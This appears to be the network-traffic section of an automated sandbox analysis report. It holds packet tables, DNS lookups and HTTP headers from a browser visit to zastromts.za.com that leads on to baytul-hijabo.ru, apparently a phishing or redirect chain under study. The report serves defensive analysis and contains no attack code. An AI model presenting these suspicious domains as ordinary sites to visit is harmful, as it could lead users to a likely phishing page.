Oct 30, 2024 16:26:24.116590023 CET	443	49780	13.107.219.254	192.168.2.16
Oct 30, 2024 16:26:24.116689920 CET	49780	443	192.168.2.16	13.107.219.254
Oct 30, 2024 16:26:24.201028109 CET	443	49781	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:24.201236010 CET	49781	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:24.201785088 CET	443	49781	204.79.197.200	192.168.2.16
Oct 30, 2024 16:26:24.201838970 CET	49781	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:24.329332113 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.329375982 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.329452038 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.329840899 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.329857111 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.942068100 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.942356110 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.942384005 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.943475962 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.943540096 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.943928003 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.944000006 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.944190025 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:24.944205999 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:24.992012978 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.087562084 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.087853909 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.087913990 CET	443	49782	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.087970972 CET	49782	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.088690996 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.088776112 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.088855028 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.089078903 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.089117050 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.714231968 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.714793921 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.714833975 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.715939045 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.716016054 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.716428041 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.716500044 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.716609001 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.716628075 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.769135952 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.862039089 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.862596989 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:25.862654924 CET	443	49784	35.190.80.1	192.168.2.16
Oct 30, 2024 16:26:25.862715006 CET	49784	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:26:26.630116940 CET	49677	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:26.630116940 CET	49674	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:26.630120039 CET	49675	443	192.168.2.16	204.79.197.200
Oct 30, 2024 16:26:27.779026031 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:28.855871916 CET	443	49780	13.107.219.254	192.168.2.16
Oct 30, 2024 16:26:28.856023073 CET	49780	443	192.168.2.16	13.107.219.254
Oct 30, 2024 16:26:33.418390989 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:33.418499947 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:33.418570995 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:33.943737030 CET	49779	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:26:33.943757057 CET	443	49779	142.250.184.196	192.168.2.16
Oct 30, 2024 16:26:36.368077040 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:36.368165970 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:26:36.368228912 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:37.394052029 CET	49683	443	192.168.2.16	204.79.197.222
Oct 30, 2024 16:26:37.939904928 CET	49776	443	192.168.2.16	104.21.11.102
Oct 30, 2024 16:26:37.939939022 CET	443	49776	104.21.11.102	192.168.2.16
Oct 30, 2024 16:27:22.608256102 CET	49786	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:27:22.608315945 CET	443	49786	142.250.184.196	192.168.2.16
Oct 30, 2024 16:27:22.608413935 CET	49786	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:27:22.608762026 CET	49786	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:27:22.608784914 CET	443	49786	142.250.184.196	192.168.2.16
Oct 30, 2024 16:27:23.478246927 CET	443	49786	142.250.184.196	192.168.2.16
Oct 30, 2024 16:27:23.518172979 CET	49786	443	192.168.2.16	142.250.184.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 16:25:17.898034096 CET	53	54623	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:17.905347109 CET	53	61005	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:18.548302889 CET	56917	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:18.548439026 CET	60903	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:18.561827898 CET	53	56917	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:18.563652039 CET	53	60903	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:19.133244038 CET	53	50303	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:20.189035892 CET	63884	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:20.189215899 CET	55639	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:20.196690083 CET	53	63884	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:20.196810007 CET	53	55639	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:21.984811068 CET	50292	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:21.984976053 CET	65265	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:21.993040085 CET	53	50292	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:21.993072987 CET	53	65265	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:22.012799978 CET	50144	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:22.013042927 CET	55831	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:22.021038055 CET	53	55831	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:22.021768093 CET	53	50144	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:22.495282888 CET	54233	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:22.495534897 CET	60144	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:22.502854109 CET	53	60144	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:22.503309965 CET	53	54233	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:24.311289072 CET	56199	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:24.311460018 CET	56076	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:24.318928957 CET	53	56076	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:24.319256067 CET	53	56199	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:36.049232960 CET	53	64084	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:37.379898071 CET	57697	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:37.380120993 CET	55498	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:37.387398005 CET	53	57697	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:37.387495041 CET	53	55498	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:38.385780096 CET	52391	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:38.385915041 CET	64330	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:38.393141031 CET	53	52391	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:38.394371986 CET	53	64330	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:38.499551058 CET	55459	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:38.499696970 CET	51531	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:38.586513042 CET	53	51531	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:38.628740072 CET	53	55459	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:42.951359034 CET	53898	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:42.951497078 CET	49421	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:43.041680098 CET	53	49421	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:43.065736055 CET	55747	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:43.065917015 CET	54661	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:43.073599100 CET	53	55747	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:43.073606968 CET	53	54661	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:43.245328903 CET	53	53898	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:55.015727997 CET	53	50051	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:55.073272943 CET	58393	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:55.073411942 CET	61616	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:55.082436085 CET	53	58393	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:55.170546055 CET	53	61616	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:56.266757965 CET	49282	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:56.267210007 CET	57142	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:56.267940044 CET	64401	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:56.268145084 CET	58669	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:25:56.274142027 CET	53	49282	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:56.274372101 CET	53	57142	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:56.275618076 CET	53	64401	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:56.275841951 CET	53	58669	1.1.1.1	192.168.2.16
Oct 30, 2024 16:25:57.568846941 CET	53	50406	1.1.1.1	192.168.2.16
Oct 30, 2024 16:26:17.628591061 CET	53	62040	1.1.1.1	192.168.2.16
Oct 30, 2024 16:26:17.988364935 CET	53	51881	1.1.1.1	192.168.2.16
Oct 30, 2024 16:26:24.321173906 CET	58661	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:26:24.321305037 CET	54058	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:26:24.321683884 CET	62249	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:26:24.321835041 CET	56188	53	192.168.2.16	1.1.1.1
Oct 30, 2024 16:26:24.328650951 CET	53	54058	1.1.1.1	192.168.2.16
Oct 30, 2024 16:26:24.328696012 CET	53	58661	1.1.1.1	192.168.2.16
Oct 30, 2024 16:26:27.450675964 CET	138	138	192.168.2.16	192.168.2.255
Oct 30, 2024 16:26:45.888987064 CET	53	53085	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 30, 2024 16:25:55.171444893 CET	192.168.2.16	1.1.1.1	c286	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 16:25:18.548302889 CET	192.168.2.16	1.1.1.1	0xcb5a	Standard query (0)	zastromts.za.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:18.548439026 CET	192.168.2.16	1.1.1.1	0x6b2	Standard query (0)	zastromts.za.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:20.189035892 CET	192.168.2.16	1.1.1.1	0x5ea0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:20.189215899 CET	192.168.2.16	1.1.1.1	0x7c4f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:21.984811068 CET	192.168.2.16	1.1.1.1	0xb29d	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:21.984976053 CET	192.168.2.16	1.1.1.1	0x621	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:22.012799978 CET	192.168.2.16	1.1.1.1	0x18a8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:22.013042927 CET	192.168.2.16	1.1.1.1	0xa2e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:22.495282888 CET	192.168.2.16	1.1.1.1	0xbe2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:22.495534897 CET	192.168.2.16	1.1.1.1	0xa430	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:24.311289072 CET	192.168.2.16	1.1.1.1	0x9011	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:24.311460018 CET	192.168.2.16	1.1.1.1	0xcb17	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:37.379898071 CET	192.168.2.16	1.1.1.1	0x1007	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:37.380120993 CET	192.168.2.16	1.1.1.1	0x80a0	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:38.385780096 CET	192.168.2.16	1.1.1.1	0x2bb1	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:38.385915041 CET	192.168.2.16	1.1.1.1	0x6492	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:25:38.499551058 CET	192.168.2.16	1.1.1.1	0x9a2	Standard query (0)	baytul-hijabo.ru	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:38.499696970 CET	192.168.2.16	1.1.1.1	0x36ae	Standard query (0)	baytul-hijabo.ru	65	IN (0x0001)	false
Oct 30, 2024 16:25:42.951359034 CET	192.168.2.16	1.1.1.1	0x19ab	Standard query (0)	baytul-hijabo.ru	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:42.951497078 CET	192.168.2.16	1.1.1.1	0x66bf	Standard query (0)	baytul-hijabo.ru	65	IN (0x0001)	false
Oct 30, 2024 16:25:43.065736055 CET	192.168.2.16	1.1.1.1	0xd928	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.065917015 CET	192.168.2.16	1.1.1.1	0x68a1	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 30, 2024 16:25:55.073272943 CET	192.168.2.16	1.1.1.1	0xc03c	Standard query (0)	baytul-hijabo.ru	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:55.073411942 CET	192.168.2.16	1.1.1.1	0xd2e9	Standard query (0)	baytul-hijabo.ru	65	IN (0x0001)	false
Oct 30, 2024 16:25:56.266757965 CET	192.168.2.16	1.1.1.1	0x516c	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.267210007 CET	192.168.2.16	1.1.1.1	0xcf37	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 30, 2024 16:25:56.267940044 CET	192.168.2.16	1.1.1.1	0xf662	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.268145084 CET	192.168.2.16	1.1.1.1	0xe0f6	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:26:24.321173906 CET	192.168.2.16	1.1.1.1	0x6c94	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:26:24.321305037 CET	192.168.2.16	1.1.1.1	0xfe2e	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 30, 2024 16:26:24.321683884 CET	192.168.2.16	1.1.1.1	0x36e5	Standard query (0)	aefd.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:26:24.321835041 CET	192.168.2.16	1.1.1.1	0x3ea8	Standard query (0)	aefd.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 16:25:18.561827898 CET	1.1.1.1	192.168.2.16	0xcb5a	No error (0)	zastromts.za.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:18.561827898 CET	1.1.1.1	192.168.2.16	0xcb5a	No error (0)	zastromts.za.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:18.563652039 CET	1.1.1.1	192.168.2.16	0x6b2	No error (0)	zastromts.za.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:20.196690083 CET	1.1.1.1	192.168.2.16	0x5ea0	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:20.196690083 CET	1.1.1.1	192.168.2.16	0x5ea0	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:20.196810007 CET	1.1.1.1	192.168.2.16	0x7c4f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:21.993040085 CET	1.1.1.1	192.168.2.16	0xb29d	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:21.993040085 CET	1.1.1.1	192.168.2.16	0xb29d	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:21.993072987 CET	1.1.1.1	192.168.2.16	0x621	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:22.021038055 CET	1.1.1.1	192.168.2.16	0xa2e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:22.021768093 CET	1.1.1.1	192.168.2.16	0x18a8	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:22.021768093 CET	1.1.1.1	192.168.2.16	0x18a8	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:22.502854109 CET	1.1.1.1	192.168.2.16	0xa430	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:22.503309965 CET	1.1.1.1	192.168.2.16	0xbe2	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:24.319256067 CET	1.1.1.1	192.168.2.16	0x9011	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:37.387398005 CET	1.1.1.1	192.168.2.16	0x1007	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:37.387398005 CET	1.1.1.1	192.168.2.16	0x1007	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:37.387495041 CET	1.1.1.1	192.168.2.16	0x80a0	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:38.393141031 CET	1.1.1.1	192.168.2.16	0x2bb1	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:38.393141031 CET	1.1.1.1	192.168.2.16	0x2bb1	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:38.394371986 CET	1.1.1.1	192.168.2.16	0x6492	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 16:25:38.586513042 CET	1.1.1.1	192.168.2.16	0x36ae	No error (0)	baytul-hijabo.ru			65	IN (0x0001)	false
Oct 30, 2024 16:25:38.628740072 CET	1.1.1.1	192.168.2.16	0x9a2	No error (0)	baytul-hijabo.ru		172.67.148.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:38.628740072 CET	1.1.1.1	192.168.2.16	0x9a2	No error (0)	baytul-hijabo.ru		104.21.11.102	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.041680098 CET	1.1.1.1	192.168.2.16	0x66bf	No error (0)	baytul-hijabo.ru			65	IN (0x0001)	false
Oct 30, 2024 16:25:43.073599100 CET	1.1.1.1	192.168.2.16	0xd928	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 16:25:43.073599100 CET	1.1.1.1	192.168.2.16	0xd928	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.073599100 CET	1.1.1.1	192.168.2.16	0xd928	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.073599100 CET	1.1.1.1	192.168.2.16	0xd928	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.073599100 CET	1.1.1.1	192.168.2.16	0xd928	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.073606968 CET	1.1.1.1	192.168.2.16	0x68a1	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 16:25:43.245328903 CET	1.1.1.1	192.168.2.16	0x19ab	No error (0)	baytul-hijabo.ru		172.67.148.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:43.245328903 CET	1.1.1.1	192.168.2.16	0x19ab	No error (0)	baytul-hijabo.ru		104.21.11.102	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:55.082436085 CET	1.1.1.1	192.168.2.16	0xc03c	No error (0)	baytul-hijabo.ru		104.21.11.102	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:55.082436085 CET	1.1.1.1	192.168.2.16	0xc03c	No error (0)	baytul-hijabo.ru		172.67.148.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:55.170546055 CET	1.1.1.1	192.168.2.16	0xd2e9	No error (0)	baytul-hijabo.ru			65	IN (0x0001)	false
Oct 30, 2024 16:25:56.274142027 CET	1.1.1.1	192.168.2.16	0x516c	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 16:25:56.274142027 CET	1.1.1.1	192.168.2.16	0x516c	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.274142027 CET	1.1.1.1	192.168.2.16	0x516c	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.274142027 CET	1.1.1.1	192.168.2.16	0x516c	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.274142027 CET	1.1.1.1	192.168.2.16	0x516c	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.274372101 CET	1.1.1.1	192.168.2.16	0xcf37	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 16:25:56.275618076 CET	1.1.1.1	192.168.2.16	0xf662	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.275618076 CET	1.1.1.1	192.168.2.16	0xf662	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:25:56.275841951 CET	1.1.1.1	192.168.2.16	0xe0f6	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 16:26:24.328696012 CET	1.1.1.1	192.168.2.16	0x6c94	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 30, 2024 16:26:24.329128981 CET	1.1.1.1	192.168.2.16	0x3ea8	No error (0)	aefd.nelreports.net	aefd.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 16:26:24.329297066 CET	1.1.1.1	192.168.2.16	0x36e5	No error (0)	aefd.nelreports.net	aefd.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

zastromts.za.com

https:

challenges.cloudflare.com

cdnjs.cloudflare.com

baytul-hijabo.ru

cdn.jsdelivr.net

www.bing.com

fp.msedge.net

c-ring.msedge.net

a.nel.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49701	188.114.97.3	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:19 UTC	664	OUT	GET /v3oX/ HTTP/1.1 Host: zastromts.za.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:20 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * set-cookie: PHPSESSID=mc0689n6mmc3k1455o5ersf901; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3wU1XTY78LJG0KfdiZ1UgD7PBrwUExZuSC3gBTmFrJcHd6Ve%2Bzv8X1VPBwrjSKpqAmfUcNrLbz%2FZl5I5PK%2FouPYz6DodqjE5g6JOtuomG9gb%2BU3p5zW%2FuOYtLLAWnltQqwQf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6ad72b0a6b7c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1301&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1242&delivery_rate=2169288&cwnd=247&unsent_bytes=0&cid=e202853df72aee85&ts=389&x=0"
